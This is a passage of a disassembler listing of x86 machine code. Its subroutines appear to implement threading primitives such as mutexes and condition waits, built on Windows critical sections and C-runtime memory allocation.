		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42FF50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4300C0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4300F7 ; default
		jmp	off_4300FC[ecx*4] ; switch jump


loc_4300D5:				; DATA XREF: ___:off_4300FCo
		call	sub_401708	; jumptable 004300CE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300DD:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017B2	; jumptable 004300CE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300E5:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300ED:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 0
		call	sub_40161D

locret_4300F7:				; CODE XREF: ___:004300CCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4300FC	dd offset loc_4300ED	; DATA XREF: ___:004300CEr
		dd offset loc_4300D5	; jump table for switch	statement
		dd offset loc_4300DD
		dd offset loc_4300E5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430130:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E3D8
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 0E8570A75h, 7780A1B7h, 4C48390h
		dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430180	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E8E0
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4301AB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_4301AB
		push	eax
		nop
		call	near ptr 27505ECh
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4301B0


loc_4301AB:				; CODE XREF: sub_430180+14j
					; sub_430180+1Bj
		mov	esi, 3


loc_4301B0:				; CODE XREF: sub_430180+29j
		push	offset dword_50E8E0
		call	near ptr 7C9010EDh
		nop
		test	esi, esi
		jnz	short loc_4301CC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4301CE


loc_4301CC:				; CODE XREF: sub_430180+3Dj
		mov	eax, esi


loc_4301CE:				; CODE XREF: sub_430180+4Aj
		pop	esi
		retn
sub_430180	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301F0:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_430241
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_430241
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_430221
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 275058Fh
		test	eax, eax
		jnz	short loc_430227
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_430221:				; CODE XREF: ___:00430209j
					; ___:0043022Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430227:				; CODE XREF: ___:00430217j
		cmp	dword ptr [esi], 0
		jnz	short loc_430221
		mov	edi, dword_50F8D0


loc_430232:				; CODE XREF: ___:00430239j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_430232
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430241:				; CODE XREF: ___:004301F9j
					; ___:00430201j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430270	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E3D8
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430270	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h,	7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 4FE82046h, 9002310Ch, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0FAE89050h
		dd 500233FFh, 0E850D3FFh, 231FD34h, 5BC08590h, 0E8560E75h
		dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 2320304h
		dd 28468990h, 0E3D8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430340	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43035E
		test	eax, eax
		jz	short loc_430358
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43035E


loc_430358:				; CODE XREF: sub_430340+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43035E:				; CODE XREF: sub_430340+Aj
					; sub_430340+16j
		xor	eax, eax
		retn
sub_430340	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430380:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43038E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43038E:				; CODE XREF: ___:00430386j
		mov	dword_50E3E8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4303B0:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3E8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303D0	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4303F2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_430439


loc_4303F2:				; CODE XREF: sub_4303D0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 2740BA2h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_430439
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430439:				; CODE XREF: sub_4303D0+20j
					; sub_4303D0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4303D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430460	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E8E0
		call	near ptr 7C901005h
		nop
		mov	esi, dword_44573C
		cmp	esi, 1
		jz	short loc_430495
		mov	eax, [esi+8]
		push	offset dword_50E8E0
		mov	dword_44573C, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430495:				; CODE XREF: sub_430460+15j
		push	offset dword_50E8E0
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4304D0	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E8E0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_44573C
		push	offset dword_50E8E0
		mov	[edx+8], eax
		mov	dword_44573C, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4304D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_430540
sub_430520	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430540	proc near		; CODE XREF: sub_430520+7p
					; sub_430660+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_430540	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430576
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43057E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43057E
		mov	edi, 2
		jmp	short loc_43057E
; ---------------------------------------------------------------------------


loc_430576:				; CODE XREF: ___:0043055Bj
		mov	dword ptr [esp+0Ch], 0


loc_43057E:				; CODE XREF: ___:00430562j
					; ___:0043056Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 27409DEh
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_430609
		dec	ecx
		jz	short loc_4305B4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4305B4:				; CODE XREF: ___:00430599j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 27604A7h
		test	esi, esi
		jz	short loc_4305FE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4305F5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4305F5:				; CODE XREF: ___:004305D9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4305FE:				; CODE XREF: ___:004305C1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430609:				; CODE XREF: ___:00430596j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430660	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_430540
sub_430660	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430690	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4306C4
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4306C4:				; CODE XREF: sub_430690+17j
		test	eax, eax
		jnz	short loc_4306CD
		mov	esi, 16h


loc_4306CD:				; CODE XREF: sub_430690+36j
		push	offset dword_50E940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430700	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_430714
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430714:				; CODE XREF: sub_430700+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_43072F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_43072F
		cmp	dword ptr [eax], 1
		jnz	short loc_43072F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43072F:				; CODE XREF: sub_430700+1Aj
					; sub_430700+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_430754
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430754:				; CODE XREF: sub_430700+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430770
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430770
		mov	edi, [edi+4]
		jmp	short loc_430772
; ---------------------------------------------------------------------------


loc_430770:				; CODE XREF: sub_430700+63j
					; sub_430700+69j
		xor	edi, edi


loc_430772:				; CODE XREF: sub_430700+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4307AD
		push	esi
		mov	ebp, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307AD:				; CODE XREF: sub_430700+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 2760EBFh
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_430700	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430810	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_4308F0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4308F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4308B5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_4308EB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_4308A7
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_4308A0
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 276085Dh
		mov	ecx, [esp+8+arg_0]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: sub_430810+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A7:				; CODE XREF: sub_430810+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308B5:				; CODE XREF: sub_430810+1Dj
		push	offset dword_50E940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_4308DB
		push	offset dword_50E940
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308DB:				; CODE XREF: sub_430810+B3j
		push	offset dword_50E940
		mov	esi, 10h
		call	near ptr 7C9010EDh
		nop


loc_4308EB:				; CODE XREF: sub_430810+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308F0:				; CODE XREF: sub_430810+Aj
					; sub_430810+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430810	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430940	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_430963
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_430963:				; CODE XREF: sub_430940+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_430940	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430990	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_4309B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_4309B1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B1:				; CODE XREF: sub_430990+9j
					; sub_430990+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430990	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4309D0:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4309ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4309ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_4309ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4309ED:				; CODE XREF: ___:004309D6j
					; ___:004309DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A10:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A3A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430A3A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430A2E
		test	eax, eax
		jnz	short loc_430A3A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430A2E:				; CODE XREF: ___:00430A25j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430A3A:				; CODE XREF: ___:00430A16j
					; ___:00430A1Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A50	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430A71
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430A71
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430A71
		cmp	edx, 2
		jg	short loc_430A71
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430A71:				; CODE XREF: sub_430A50+8j
					; sub_430A50+Ej ...
		mov	eax, 16h
		retn
sub_430A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430AAE
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430AAE
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430AAE
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430AAE:				; CODE XREF: sub_430A90+8j
					; sub_430A90+Ej ...
		mov	eax, 16h
		retn
sub_430A90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AD0	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430B87
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430B87
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430B01
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430B01
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B01:				; CODE XREF: sub_430AD0+1Dj
					; sub_430AD0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 275058Fh
		test	eax, eax
		jnz	short loc_430B2A


loc_430B0E:				; CODE XREF: sub_430AD0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430B22
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430B22:				; CODE XREF: sub_430AD0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B2A:				; CODE XREF: sub_430AD0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430B6A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 32FAA4E8h
		dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B6A:				; CODE XREF: sub_430AD0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430BC0
		add	esp, 4
		test	eax, eax
		jz	short loc_430B0E
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B87:				; CODE XREF: sub_430AD0+Aj
					; sub_430AD0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430AD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430BC0	proc near		; CODE XREF: sub_430AD0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430BDA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27603AFh
		test	eax, eax
		jnz	short loc_430BDA
		retn
; ---------------------------------------------------------------------------


loc_430BDA:				; CODE XREF: sub_430BC0+6j
					; sub_430BC0+17j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430BC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C00	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430D98
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430D98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430C31
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430C31
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C31:				; CODE XREF: sub_430C00+1Dj
					; sub_430C00+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		call	near ptr 275058Fh
		nop
		test	eax, eax
		jnz	short loc_430C62


loc_430C40:				; CODE XREF: sub_430C00+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C62:				; CODE XREF: sub_430C00+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430CA6
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0F96BE890h
		dd 7E830232h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CA6:				; CODE XREF: sub_430C00+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430CBA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CBA:				; CODE XREF: sub_430C00+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430E10
		add	esp, 8
		sub	eax, 0
		jz	loc_430D7A
		dec	eax
		jz	short loc_430D44
		dec	eax
		jz	short loc_430CE5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CE5:				; CODE XREF: sub_430C00+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430D17
		nop
		call	near ptr 27605F1h
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D17:				; CODE XREF: sub_430C00+101j
		call	near ptr 27605F1h
		nop
		test	eax, eax
		jl	short loc_430D36
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430D36
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_430D36:				; CODE XREF: sub_430C00+11Fj
					; sub_430C00+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D44:				; CODE XREF: sub_430C00+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430D6A
		push	esi
		nop
		call	near ptr 27605F1h
		mov	ebp, 274Ch


loc_430D6A:				; CODE XREF: sub_430C00+15Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		test	edi, edi
		jnz	short loc_430D91
		jmp	loc_430C40
; ---------------------------------------------------------------------------


loc_430D7A:				; CODE XREF: sub_430C00+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430D8E
		call	sub_4012E4
